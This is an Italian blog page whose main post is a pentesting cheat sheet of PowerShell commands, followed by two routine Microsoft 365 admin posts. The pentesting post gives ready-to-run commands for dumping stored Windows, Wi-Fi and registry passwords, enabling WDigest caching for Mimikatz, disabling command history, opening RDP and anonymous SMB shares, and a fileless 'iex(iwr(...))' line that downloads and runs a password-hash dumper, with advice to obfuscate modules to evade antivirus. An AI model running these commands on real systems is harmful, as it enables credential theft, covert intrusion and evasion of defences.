30 nov 2020

PowerShell per il pentesting

Negli ultimi anni siamo stati testimoni di un incremento esponenziale della complessità dei sistemi e parallelamente abbiamo assistito ad un aumento  dei comportamenti fraudolenti atti a sfruttarne le vulnerabilità e spesso orientati al furto di dati e informazioni, facendo della sicurezza un tema centrale per ogni azienda. 

 

Questo articolo, che si discosta un po’ da quello a cui siete abituati, si prefigge di evidenziare alcuni comandi PowerShell che potrebbero essere utili durante una prima fase di penetration testing e non meno importanti anche  in ambito amministrativo. Rilevante il fatto che non sia necessario alcun software o moduli di terze parti che verrebbero potenzialmente contrassegnati come dannosi dai software anti malware/virus.

 

Estrazione delle credenziali

Tra le prime azioni in ambito post-exploitation (dopo aver avuto l’accesso) che un codice malevolo o un attaccante tenta di portare a termine c’è sicuramente l’estrazione e la sottrazione delle credenziali.

Non amo particolarmente preparare delle macchine demo “vuote”, specie per questo genere di dimostrazioni, quindi passerò i comandi “live” su una macchina di produzione per cui naturalmente verranno offuscate le varie credenziali.

 

Password Vault

Il comando PowerShell confezionato di seguito si avvale della classe “PasswordVault” nel Namespace “Windows.Security.Credentials”, un meccanismo integrato in Windows per l'archiviazione di password e credenziali web.
Nota: Se avete attivato la sincronizzazione queste password saranno presenti su tutti i vostri device.

[Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];(New-Object Windows.Security.Credentials.PasswordVault).RetrieveAll() | % { $_.RetrievePassword();$_ }

 

Figura 1 – Output PasswordVault











me si può facilmente immaginare (con questo sistema) sarà possibile estrarre le credenziali esclusivamente nel contesto dell’utente che ha effettuato l’accesso.

Vault utilizza i seguenti percorsi:

%ProgramData%\Microsoft\Vault\
%systemroot%\system32\config\systemprofile\AppData\Local\Microsoft\Vault\
%userprofile%\AppData\Local\Microsoft\Vault\

 

Credential Manager

Windows Credential Manager fornisce un altro meccanismo di archiviazione delle credenziali per l'accesso a siti Web, l'accesso a sistemi remoti,  varie applicazioni e fornisce anche un modo potenzialmente sicuro per utilizzare le credenziali negli script di PowerShell.
Questo metodo di dumping delle password può dimostrarsi utile nel pentesting sia interno che esterno.

Per l’estrazione avremo bisogno del modulo PowerShell CredentialManager per cui passeremo prima il comando: Install-Module -Name CredentialManager

Get-StoredCredential | % { write-host -NoNewLine $_.username; write-host -NoNewLine ":" ; $p = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($_.password) ; [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($p); }

 

                                            Figura 2 - Credential Manager


Sebbene avendo il PIN impostato il comando non sia effecace come il precendende, permette comunque di carpire alcune username e password nel formato user:password. - Spoiler: l’ultima è amministrativa. 

Un metodo sicuramente più efficace consiste nell’assicurarsi una sessione remota tramite Metasploit Framework e succesivamente scaricare ed eseguire Mimikatz (uno strumento di dumping delle credenziali)  

Anche in questo caso siamo nell’ambito del contesto utente.

%userprofile%\AppData\Roaming\Microsoft\Credentials\
%systemroot%\system32\config\systemprofile\AppData\Local\Microsoft\Credentials\
%userprofile%\AppData\Local\Microsoft\Credentials\

 

Estrazione delle password dai profili Wi-Fi

Con questo comand, eseguito con privilegi amministrativi, possiamo estrarre tutte le password Wi-Fi memorizzate (WEP, WPA PSK, WPA2 PSK ecc.) dai profili wireless memorizzati in precedenza:

 

(netsh wlan show profiles) | Select-String "\:(.+)$" | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name="$name" key=clear)}  | Select-String "Key Content\W+\:(.+)$" | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Format-Table -AutoSize

 

Figura 3- password dei profili Wi-Fi


Nota: Se il sistema operativo è localizzato si rende necessario sostituire la stringa “Key Content” con la corrispondente in lingua. Nel nostro caso la stringa corrisponde a “Contenuto chiave”

In alternativa potete usare anche sofware di terze parti come WirelessKeyView di Nirsoft, che però viene “bloccato” da qualsisi antivirus e si sa è un po’ da niubbi.

 

Estrazione dal Registry

Il seguente comando PowerShell passerà al setaccio gli hive del registry (HKCR, HKCU, HKLM, HKU e HKCC) e cercherà in modo ricorsivo quanto specificato. In questo caso stiamo cercando il pattern "password" ma potremmo naturlamente scansionare il registry alla ricerca di qualsiasi pattern.

$pattern = "password"

$hives = "HKEY_CLASSES_ROOT","HKEY_CURRENT_USER","HKEY_LOCAL_MACHINE","HKEY_USERS","HKEY_CURRENT_CONFIG"

# Search in registry keys
foreach ($r in $hives) { gci "registry::${r}\" -rec -ea SilentlyContinue | sls "$pattern" }

# Search in registry values
foreach ($r in $hives) { gci "registry::${r}\" -rec -ea SilentlyContinue | % { if((gp $_.PsPath -ea SilentlyContinue) -match "$pattern") { $_.PsPath; $_ | out-string -stream | sls "$pattern" }}}

 


Figura 4 - Registry pattern

 

Privilege escalation

Le sezioni seguenti contengono comandi PowerShell utili per attacchi di escalation di privilegi - per i casi in cui abbiamo solo un accesso utente con privilegi bassi e vogliamo aumentare i nostri privilegi all'amministratore locale

 

Controllo su AlwaysInstallElevated

Se le seguenti chiavi di registro AlwaysInstallElevated sono impostate su 1, significa che qualsiasi utente con privilegi limitati può installare file  msi con privilegi NT AUTHORITY \ SYSTEM.
Ecco come verificarlo con PowerShell:

gp 'HKCU:\Software\Policies\Microsoft\Windows\Installer' -Name AlwaysInstallElevated
gp 'HKLM:\Software\Policies\Microsoft\Windows\Installer' -Name AlwaysInstallElevated

 

Unquoted Service Path

Cosa significa?

Quando viene creato un servizio il cui percorso eseguibile contiene spazi e non è racchiuso tra virgolette, porta a una vulnerabilità nota come unquoted service path che consente a un utente malintenzionato di ottenere privilegi di SISTEMA (solo se il servizio vulnerabile è in esecuzione con privilegi di SISTEMA e la maggior parte lo è). Se il servizio non è racchiuso tra virgolette e contiene spazi, Windows lo gestirà come un'interruzione e passerà il resto del percorso del servizio come argomento.

Il seguente comando PowerShell restituirà i servizi il cui percorso eseguibile non è racchiuso tra virgolette ("):

gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name


Figura 5 - Unquoted Service Path




Ciò può portare all'escalation dei privilegi nel caso in cui il percorso eseguibile contenga anche spazi e disponga dei permessi di scrittura per una qualsiasi delle cartelle nel percorso.

Sul mio stesso PC è stato trovato un servizio potenzialmente vulnerabile con la tecnica di privilege escalation

 

LSASS WDigest caching

Digest Authentication è un protocollo challenge / response utilizzato principalmente in Windows Server 2003 per LDAP e l'autenticazione basata sul Web. Utilizza gli scambi HTTP (Hypertext Transfer Protocol) e SASL (Simple Authentication Security Layer) per l'autenticazione. Abilitato di default fino a 2008 R2 e attivabile per tutte le versioni sucessive.

Utilizzando il seguente comando possiamo verificare se la memorizzazione delle credenziali nella cache di WDigest è abilitata o meno sul sistema. Questa impostazione determina se saremo in grado di utilizzare Mimikatz per estrarre le credenziali in formato testo dalla memoria del processo LSASS.

(gp registry::HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\Wdigest).UseLogonCredential

Se il valore è impostato su 0, la memorizzazione nella cache è disabilitata (il sistema è protetto)
Se non esiste o se è impostato su 1, la memorizzazione nella cache è abilitata

In caso sia disabilitata è possibile abilitarla

sp registry::HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\Wdigest -name UseLogonCredential -value 1

 

Credenziali in SYSVOL e Group Policy Preferences (GPP)

Negli ambienti aziendali in cui con tutta probabilità è possibile trovare Windows Active Directory, le credenziali possono essere trovate (a volte) archiviate nei Criteri di gruppo, in vari script personalizzati o in file di configurazione nelle share SYSVOL dei Domain Controller.

Poiché le condivisioni di rete SYSVOL sono accessibili a qualsiasi utente di dominio autenticato, possiamo facilmente identificare se sono presenti credenziali archiviate utilizzando il seguente comando:

Push-Location \\example.com\sysvol
gci * -Include *.xml,*.txt,*.bat,*.ps1,*.psm,*.psd -Recurse -EA SilentlyContinue | select-string password (or user)
Pop-Location

Anche la stringa “user” è un buon punto d’ingresso in quanto si possono trovare password associate alle connessioni di rete e altro..

Figura 6 - Estrazione password da SYSVOL

 

Comandi utili per il Networking ed esecuzione di codice arbitrario

Di seguito sono riportati alcuni comandi di PowerShell relativi alla rete che possono servire in certe situazioni.

 

Settare il MAC address da command-line

A volte può essere utile impostare l'indirizzo MAC su un'interfaccia di rete e con PowerShell possiamo farlo facilmente senza utilizzare alcuna utility di terze parti:

Set-NetAdapter -Name "Ethernet0" -MacAddress "00-01-18-57-1B-0D"

Questo può essere utile ad esempio quando stiamo tentando il bypasssare NAC (network access control) ecc.

 

Abilitare Remote Desktop

I comandi seguenti possono essere usati in caso volessimo connetterci al sistema utilizzando una sessione RDP ma Remote Desktop non è abilitato per qualche motivo:

# Allow RDP connections
(Get-WmiObject -Class "Win32_TerminalServiceSetting" -Namespace root\cimv2\terminalservices).SetAllowTsConnections(1)

# Disable NLA
(Get-WmiObject -class "Win32_TSGeneralSetting" -Namespace root\cimv2\terminalservices -Filter "TerminalName='RDP-tcp'").SetUserAuthenticationRequired(0)

# Allow RDP on the firewall
Get-NetFirewallRule -DisplayGroup "Remote Desktop" | Set-NetFirewallRule -Enabled True

 

Ricerca degli Host usando una DNS ricerca inversa

Usando il seguente script possiamo eseguire una rapida ricerca DNS inversa sulla sottorete 10.10.1.0/24 e vedere se ci sono host risolvibili (potenzialmente attivi):

$net = "10.10.0."
0..255 | foreach {$r=(Resolve-DNSname -ErrorAction SilentlyContinue $net$_ | ft NameHost -HideTableHeaders | Out-String).trim().replace("\s+","").replace("`r","").replace("`n"," "); Write-Output "$net$_ $r"} | tee ip_hostname.txt

In alcuni casi potrebbe essere più produttivo usare la tecnica di ping sweep

#Ping Sweep
(1..254) | % {$ip="10.10.0.$_"; Write-output "$IP  $(test-connection -computername "$ip" -quiet -count

 


Port scan di un host sulle porte più “interessanti”

Ecco come eseguire rapidamente la scansione delle porte di un indirizzo IP specificato (192.168.1.106) per le porte selezionate:

$ports = "21 22 23 25 53 80 88 111 139 389 443 445 873 1099 1433 1521 1723 2049 2100 2121 3299 3306 3389 3632 4369 5038 5060 5432 5555 5900 5985 6000 6379 6667 8000 8080 8443 9200 27017"

$ip = "192.168.1.106"

$ports.split(" ") | % {echo ((new-object Net.Sockets.TcpClient).Connect($ip,$_)) "Port $_ is open on $ip"} 2>$null









Figura 7 – Portscan

  

Port scan in tutta la rete per una singola porta (port sweep)

Ciò potrebbe essere utile ad esempio per scoprire rapidamente le macchine Windows  (porta tcp / 445) su una sottorete di classe C di rete specificata (192.168.1.0/24):

$port = 445
$net = "192.168.1."

0..255 | foreach { echo ((new-object Net.Sockets.TcpClient).Connect($net+$_,$port)) "Port $port is open on $net$_"} 2>$null

Se volessimo scoprire tutte porte SSH dovremo sostituire la porta con 22 e così via.

 

Creare un drive condiviso (Guest)

Ecco uno script interessante per settare rapidamente una network share SMB (CIFS) accessibile a chiunque:

new-item "c:\users\public\share" -itemtype directory
New-SmbShare -Name "sharedir" -Path "C:\users\public\share" -FullAccess "Everyone","Guests","Anonymous Logon"

per rimuovere una condivisione:

Remove-SmbShare -Name "sharedir" -Force

 

Autorizzare un indirizzo IP nel firewall di Windows (Whitelist)

Ecco un utile comando per inserire nella whitelist un indirizzo IP nel firewall di Windows:

New-NetFirewallRule -Action Allow -DisplayName "pen_test" -RemoteAddress 192.168.1.25

Per rimuovere la regola:

Remove-NetFirewallRule -DisplayName "pen_test"

 

Download ed esecuzione senza il supporto di file

Usando questo comando di PowerShell possiamo facilmente scaricare ed eseguire codice PowerShell arbitrario, ospitato in remoto, sulla nostra macchina o su Internet:

iex(iwr("https://URL"))

Il contenuto remoto verrà scaricato ed eseguito senza toccare il disco (senza file).

Possiamo usarlo per eseguire moduli offensive security famosi, ad esempio:

https://github.com/samratashok/nishang
https://github.com/PowerShellMafia/PowerSploit
https://github.com/FuzzySecurity/PowerShell-Suite

Ecco un esempio di dumping degli hash delle password locali (hashdump) utilizzando il modulo nishang Get-PassHashes:

iex(iwr("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1"));Get-PassHashes

Molto semplice, ma si tenga presente che sarà probabilmente segnalato da qualsiasi AV decente.

Per aggirare l’ostacolo si potrebbero offuscare i moduli da utilizzare e naturalmente ospitarli altrove.

 

Ottenere il SID dell’utente corrente

Il seguente comando restituirà il valore SID dell'utente corrente:

([System.Security.Principal.WindowsIdentity]::GetCurrent()).User.Value

 

Controllare se l’utente ha privilegi elevati (amministratore)

Ecco un breve script per verificare se stiamo eseguendo sessioni di PowerShell con privilegi di amministratore:

If (([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")) { echo "yes"; } else { echo "no"; }

 

Disabilitare il command logging di PowerShell

Per impostazione predefinita, PowerShell registra automaticamente una cronolgia fino a 4096 comandi. Una comportamento simile su verifica con Bash su Linux.

Il file della cronologia di PowerShell è un file di testo situato nel profilo di ogni utente nella seguente posizione:

%userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

Con i seguenti comandi possiamo disabilitare la funzionalità di registrazione dei comandi di PowerShell nella sessione corrente della shell:

Remove-Module PSReadline oppure  Set-PSReadlineOption –HistorySaveStyle SaveNothing

D'ora in poi, nessun comando verrà registrato nel file della cronologia di PowerShell. Si noti tuttavia che i comandi precedenti verranno comunque visualizzati nel file della cronologia.

 

Elencare quali antivirus sono in esecuzione

Ecco un semplice comando di PowerShell per interrogare il Centro sicurezza e identificare tutti i prodotti antivirus installati su questo computer:

Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct

 

Individuazione di file con informazioni sensibili

I seguenti comandi di PowerShell possono essere utili durante la fase di post-exploitation per individuare i file su disco che potrebbero contenere credenziali, dettagli di configurazione e altre informazioni sensibili.


Trovare file potenzialmente interessanti

Con il comando seguente possiamo identificare i file con dati potenzialmente sensibili come informazioni sull'account, credenziali, file di configurazione ecc.

gci c:\ -Include *pass*.txt,*pass*.xml,*pass*.ini,*pass*.xlsx,*cred*,*vnc*,*.config*,*accounts* -File -Recurse -EA SilentlyContinue

 

Trovare le credenziali nei file Sysprep o Unattend

Questo comando cercherà i rimasugli dell'installazione automatica e della configurazione automatica, che potrebbero potenzialmente contenere password in chiaro o password con codifica base64:

gci c:\ -Include *sysprep.inf,*sysprep.xml,*sysprep.txt,*unattended.xml,*unattend.xml,*unattend.txt -File -Recurse -EA SilentlyContinue

 

Trovare i file di configurazione contenenti la stringa "password"

Con questo comando possiamo individuare i file contenenti un certo pattern. Ad esempio in questo caso il pattern di "password" in vari file di configurazione testuali:

gci c:\ -Include *.txt,*.xml,*.config,*.conf,*.cfg,*.ini -File -Recurse -EA SilentlyContinue | Select-String -Pattern "password"

Non salvare mai file (excel, TXT) contenenti password o con riferimenti. Utilizzare gestori password come ad esempio Keepass


Trovare le credenziali dei database nei file di configurazione

Utilizzando il seguente comando di PowerShell possiamo trovare stringhe di connessione ai database (con credenziali in chiaro) memorizzate in vari file di configurazione come web.config per la configurazione ASP.NET, nei file di progetto di Visual Studio ecc .:

gci c:\ -Include *.config,*.conf,*.xml -File -Recurse -EA SilentlyContinue | Select-String -Pattern "connectionString"

Trovare stringhe di connessione, ad esempio per Microsoft SQL Server remoto potrebbe portare ad un attacco di tipo Remote Command Execution (RCE)

 

Individuare i file di configurazione del web  server

Con questo comando, possiamo facilmente trovare i file di configurazione appartenenti all'installazione di Microsoft IIS, XAMPP, Apache, PHP o MySQL:

gci c:\ -Include web.config,applicationHost.config,php.ini,httpd.conf,httpd-xampp.conf,my.ini,my.cnf -File -Recurse -EA SilentlyContinue

Questi file possono contenere password in formato testo o altre informazioni interessanti che potrebbero consentire l'accesso ad altre risorse come database, interfacce amministrative ecc.

 

Conclusioni

I comandi sopra, che sono uno spillo in un pagliaio di dimensioni inimmaginabili, ci lasciano riflettere su quanto certi comportamenti di utenti a admin possano agevolare alcuni tipi di attacco, definiamoli in stile RED TEAM.
Utili per comprendere una prima fare di penetration test e di raccolta delle informazioni e non meno importante anche estremamente utili per le attività amministrative.

Nota: Usare quanto sopra a scopo di studio e testare solo nella propria rete locale.

Potete trovare trovare questo articolo anche su Windowserver.it 

  

23 nov 2020

Microsoft 365: Errore invio SMTP per i tenant più recenti

Sui tenant più recenti Microsoft ha disabilitato per default l'invio SMTP Client a livello di organizzazione. Disabilitazione avvenuta probabilmente per una questione di sicurezza. 

Verificando a livello utente l'SMTP risulta abilitato 









Inoltre se si tenta l'invio tramite il comando PowerShell Send-MailMessage viene restituito l'errore seguente:

The SMTP server requires a secure connection or the client was not authenticated. The server
response was: 5.7.57 SMTP; Client was not authenticated to send anonymous mail during MAIL FROM


I seguenti comandi PowerShell ci permetteranno di rispristinare questa funzionalità 


Per prima cosa sarà necessario installare o aggiornare il modulo PowerShell EXO V2

Install-Module -Name ExchangeOnlineManagement
Update-Module -Name ExchangeOnlineManagement


Connettersi ad Exchange Online 

Import-Module ExchangeOnlineManagement
$UserCredential = Get-Credential
Connect-ExchangeOnline -Credential $UserCredential -ShowProgress $true


Connettersi ad Exchange Online con MFA

Import-Module ExchangeOnlineManagement
Connect-ExchangeOnline -UserPrincipalName user@domain -ShowProgress $true


Abilitare l'autenticazione SMTP a livello globale nell'organizzazione

Set-TransportConfig -SmtpClientAuthenticationDisabled $false



Come possiamo notare dalla foto sopra, per impostazione predefinita, l'SMTP client è disattivo a livello trasporto su tutta l'organizzazione


Verificare se l'operazione ha avuto esito positivo

Get-TransportConfig | Format-List SmtpClientAuthenticationDisabled



Abilitare e disabilitare per un solo utente

Set-CASMailbox -Identity sean@contoso.com -SmtpClientAuthenticationDisabled $false
Set-CASMailbox -Identity chris@contoso.com -SmtpClientAuthenticationDisabled $true



Utilizzare PowerShell per abilitare o disabilitare l'autenticazione SMTP su più cassette postali

$<VariableName> = Get-Content "<text file>"
$<VariableName> | foreach {Set-CASMailbox -Identity $_ -SmtpClientAuthenticationDisabled <$true | $false | $null>}




3 set 2020

Microsoft Teams: come disabilitare la creazione dei team da parte degli utenti

Quando si abilita la licenza Teams in Microsoft 365, ogni membro dell'organizzazione può creare nuovi Teams. 

Dare ai dipendenti la possibilità di creare Team in autonomia e in base alle loro esigenze aumenta l'accettazione del nuovo strumento ma nel contempo ne può causare una crescita incontrollata che potrebbe confondere i dipendenti senza alcun vantaggio reale.


Fortunatamente con l'aiuto di questo script è possibile confinare la creazione di nuovi Team ad uno specifico gruppo, nello specifico "TEAMS-TeamCreation"

Nota bene: In data odierna per eseguire correttamente lo script è necessario installare il modulo AzureADPreview

In caso avete già installato il modulo AzureAD, lo si può rimuovere con il seguente command-let:
Uninstall-Module -Name AzureAD 

Mentre per installare il modulo in Preview:
install-Module -Name AzureADPreview

Se volete verificare quali moduli avete installato:
Get-InstalledModule